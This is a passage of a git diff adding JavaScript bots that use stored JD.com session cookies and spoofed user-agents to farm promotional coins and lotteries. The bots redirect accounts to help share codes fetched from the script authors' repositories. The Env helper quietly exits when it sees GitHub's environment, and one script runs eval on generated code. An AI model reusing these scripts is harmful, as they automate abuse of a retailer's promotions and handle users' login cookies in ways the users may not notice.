catch(t){ + e = "" + } + } + return e + } + + setdata(t, e){ + let s = !1; + if(/^@/.test(e)){ + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try{ + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch(e){ + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t){ + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e){ + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t){ + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => {})){ + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try{ + if(t.headers["set-cookie"]){ + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch(t){ + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => {})){ + if(t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if(this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if(this.isNode()){ + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null){ + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for(let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r){ + const o = t => { + if(!t) return t; + if("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if("object" == typeof t){ + if(this.isLoon()){ + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if(this.isQuanX()){ + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if(this.isSurge()){ + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if(this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog){ + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t){ + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e){ + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t){ + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}){ + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_wish.js b/jd_wish.js new file mode 100644 index 0000000..9524a6e --- /dev/null +++ b/jd_wish.js @@ -0,0 +1,424 @@ +/* +众筹许愿池 +活动入口:京东-京东众筹-众筹许愿池 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===============Quantumultx=============== +[task_local] +#众筹许愿池 +40 0,2 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_wish.js, tag=众筹许愿池, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "40 0,2 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_wish.js,tag=众筹许愿池 + +===============Surge================= +众筹许愿池 = type=cron,cronexp="40 0,2 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_wish.js + +============小火箭========= +众筹许愿池 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_wish.js, cronexpr="40 0,2 * * *", timeout=3600, enable=true + */ +const $ = new Env('众筹许愿池'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let message = '', allMessage = ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let appIdArr = ["1GFNRxq8","1GVFUx6g", "1E1xZy6s", "1GVJWyqg","1GFRRyqo"]; +let appNameArr = ["新年宠粉","JOY年味之旅","PLUS生活特权", "虎娃迎福","过新潮年"]; +let appId, appName; +$.shareCode = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n*******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + for (let j = 0; j < appIdArr.length; j++) { + appId = appIdArr[j] + appName = appNameArr[j] + console.log(`\n开始第${j + 1}个活动:${appName}\n`) + await jd_wish(); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage) + } + let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/wish.json') + if (!res) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/wish.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/wish.json') + } + let res2 = await getAuthorShareCode('https://raw.githubusercontent.com/zero205/updateTeam/main/shareCodes/wish.json') + if (!res2) { + await $.wait(1000) + res2 = await getAuthorShareCode('https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/wish.json') + } + $.shareCode = [...$.shareCode, ...(res || []), ...(res2 || [])] + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + console.log(`开始内部助力\n`) + for (let v = 0; v < appIdArr.length; v++) { + $.canHelp = true + appId = appIdArr[v] + appName = appNameArr[v] + console.log(`开始助力第${v + 1}个活动:${appName}\n`) + for (let j = 0; j < $.shareCode.length && $.canHelp; j++) { + if ($.shareCode[j].appId === appId) { + console.log(`${$.UserName} 去助力 ${$.shareCode[j].use} 的助力码 ${$.shareCode[j].code}`) + if ($.UserName == $.shareCode[j].use) { + console.log(`不能助力自己\n`) + continue + } + $.delcode = false + await harmony_collectScore({"appId":appId,"taskToken":$.shareCode[j].code,"actionType":"0","taskId":"6"}) + await $.wait(2000) + if ($.delcode) { + $.shareCode.splice(j, 1) + j-- + continue + } + } + } + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jd_wish() { + try { + await healthyDay_getHomeData(); + await $.wait(2000) + + let getHomeDataRes = (await healthyDay_getHomeData(false)).data.result.userInfo + let forNum = Math.floor(getHomeDataRes.userScore / getHomeDataRes.scorePerLottery) + await $.wait(2000) + + if (forNum === 0) { + console.log(`没有抽奖机会\n`) + } else { + console.log(`可以抽奖${forNum}次,去抽奖\n`) + } + + $.canLottery = true + for (let j = 0; j < forNum && $.canLottery; j++) { + await interact_template_getLotteryResult() + await $.wait(2000) + } + if (message) allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n${appName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` + + } catch (e) { + $.logErr(e) + } +} + +async function healthyDay_getHomeData(type = true) { + return new Promise(async resolve => { + $.post(taskUrl('healthyDay_getHomeData', {"appId":appId,"taskToken":"","channelId":1}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getHomeData API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (type) { + for (let key of Object.keys(data.data.result.taskVos).reverse()) { + let vo = data.data.result.taskVos[key] + if (vo.status !== 2 && vo.status !== 0) { + if (vo.taskType === 13 || vo.taskType === 12) { + console.log(`签到`) + await harmony_collectScore({"appId":appId,"taskToken":vo.simpleRecordInfoVo.taskToken,"taskId":vo.taskId,"actionType":"0"}, vo.taskType) + } else if (vo.taskType === 1) { + $.complete = false; + for (let key of Object.keys(vo.followShopVo)) { + let followShopVo = vo.followShopVo[key] + if (followShopVo.status !== 2) { + console.log(`【${followShopVo.shopName}】${vo.subTitleName}`) + await harmony_collectScore({"appId":appId,"taskToken":followShopVo.taskToken,"taskId":vo.taskId,"actionType":"0"}) + if ($.complete) break; + } + } + } else if (vo.taskType === 8) { + $.complete = false; + for (let key of Object.keys(vo.productInfoVos)) { + let productInfoVos = vo.productInfoVos[key] + if (productInfoVos.status !== 2) { + console.log(`【${productInfoVos.skuName}】${vo.subTitleName}`) + await harmony_collectScore({"appId":appId,"taskToken":productInfoVos.taskToken,"taskId":vo.taskId,"actionType":"1"}) + await $.wait(vo.waitDuration * 1000) + await harmony_collectScore({"appId":appId,"taskToken":productInfoVos.taskToken,"taskId":vo.taskId,"actionType":"0"}) + if ($.complete) break; + } + } + } else if (vo.taskType === 9 || vo.taskType === 26) { + $.complete = false; + for (let key of Object.keys(vo.shoppingActivityVos)) { + let shoppingActivityVos = vo.shoppingActivityVos[key] + if (shoppingActivityVos.status !== 2) { + console.log(`【${shoppingActivityVos.title}】${vo.subTitleName}`) + if (vo.taskType === 9) { + await harmony_collectScore({"appId":appId,"taskToken":shoppingActivityVos.taskToken,"taskId":vo.taskId,"actionType":"1"}) + await $.wait(vo.waitDuration * 1000) + } + await harmony_collectScore({"appId":appId,"taskToken":shoppingActivityVos.taskToken,"taskId":vo.taskId,"actionType":"0"}) + if ($.complete) break; + } + } + } else if (vo.taskType === 14) { + console.log(`【京东账号${$.index}(${$.UserName})的${appName}好友互助码】${vo.assistTaskDetailVo.taskToken}\n`) + if (vo.times !== vo.maxTimes) { + $.shareCode.push({ + "code": vo.assistTaskDetailVo.taskToken, + "appId": appId, + "use": $.UserName + }) + } + } + } else { + console.log(`【${vo.taskName}】已完成\n`) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function harmony_collectScore(body = {}, taskType = '') { + return new Promise(resolve => { + $.post(taskUrl('harmony_collectScore', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} collectScore API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data && data.data && data.data.bizCode === 0) { + if (taskType === 13) { + console.log(`签到成功:获得${data.data.result.score}金币\n`) + } else if (body.taskId == 6) { + console.log(`助力成功:您的好友获得${data.data.result.score}金币\n`) + } else { + console.log(`完成任务:获得${data.data.result.score}金币\n`) + } + } else { + if (taskType === 13) { + console.log(`签到失败:${data.data.bizMsg}\n`) + } else if (body.taskId == 6) { + console.log(`助力失败:${data.data.bizMsg || data.msg}\n`) + if (data.code === -30001 || (data.data && data.data.bizCode === 108)) $.canHelp = false + if (data.data.bizCode === 103) $.delcode = true + } else { + console.log(body.actionType === "0" ? `完成任务失败:${data.data.bizMsg}\n` : data.data.bizMsg) + if (data.data.bizMsg === "任务已完成") $.complete = true; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function interact_template_getLotteryResult() { + return new Promise(resolve => { + $.post(taskUrl('interact_template_getLotteryResult', {"appId":appId}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getLotteryResul API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let userAwardsCacheDto = data && data.data && data.data.result && data.data.result.userAwardsCacheDto; + if (userAwardsCacheDto) { + if (userAwardsCacheDto.type === 2) { + console.log(`抽中:${userAwardsCacheDto.jBeanAwardVo.quantity}${userAwardsCacheDto.jBeanAwardVo.ext || `京豆`}`); + } else if (userAwardsCacheDto.type === 0) { + console.log(`很遗憾未中奖~`) + } else if (userAwardsCacheDto.type === 1) { + console.log(`抽中:${userAwardsCacheDto.couponVo.prizeName},金额${userAwardsCacheDto.couponVo.usageThreshold}-${userAwardsCacheDto.couponVo.quota},使用时间${userAwardsCacheDto.couponVo.useTimeRange}`); + } else { + console.log(`抽中:${JSON.stringify(data)}`); + message += `抽中:${JSON.stringify(data)}\n`; + } + } else { + $.canLottery = false + console.log(`此活动已黑,无法抽奖\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${function_id}&body=${JSON.stringify(body)}&client=wh5&clientVersion=1.0.0`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://h5.m.jd.com", + "Cookie": cookie, + "Accept-Language": "zh-cn", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4FdmTJQNah9oDJyQN8NggvRi1nEY/index.html", + "Accept-Encoding": "gzip, deflate, br" + } + } +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_work_price.js b/jd_work_price.js new file mode 100644 index 0000000..2e2952f --- /dev/null +++ b/jd_work_price.js @@ -0,0 +1,163 @@ +let common = require("./function/common"); +let jsdom = require("jsdom"); +let $ = new common.env('京东保价'); +let min = 1, + help = $.config[$.filename(__filename)] || Math.min(min, $.config.JdMain) || min; +$.setOptions({ + headers: { + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0', + 'referer': 'https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu?sid=0b5a9d5564059f36ed16a8967c37e24w', + } +}); +$.readme = ` +48 */8 * * * task ${$.runfile} +export ${$.runfile}=1 #输出购买订单保价内容,没什么用 +` +eval(common.eval.mainEval($)); +async function prepare() {} +async function main(id) { + try { + await jstoken() + // 一键保价 + p = { + 'url': `https://api.m.jd.com/api?appid=siteppM&functionId=siteppM_skuOnceApply&forcebot=&t=${$.timestamp}`, 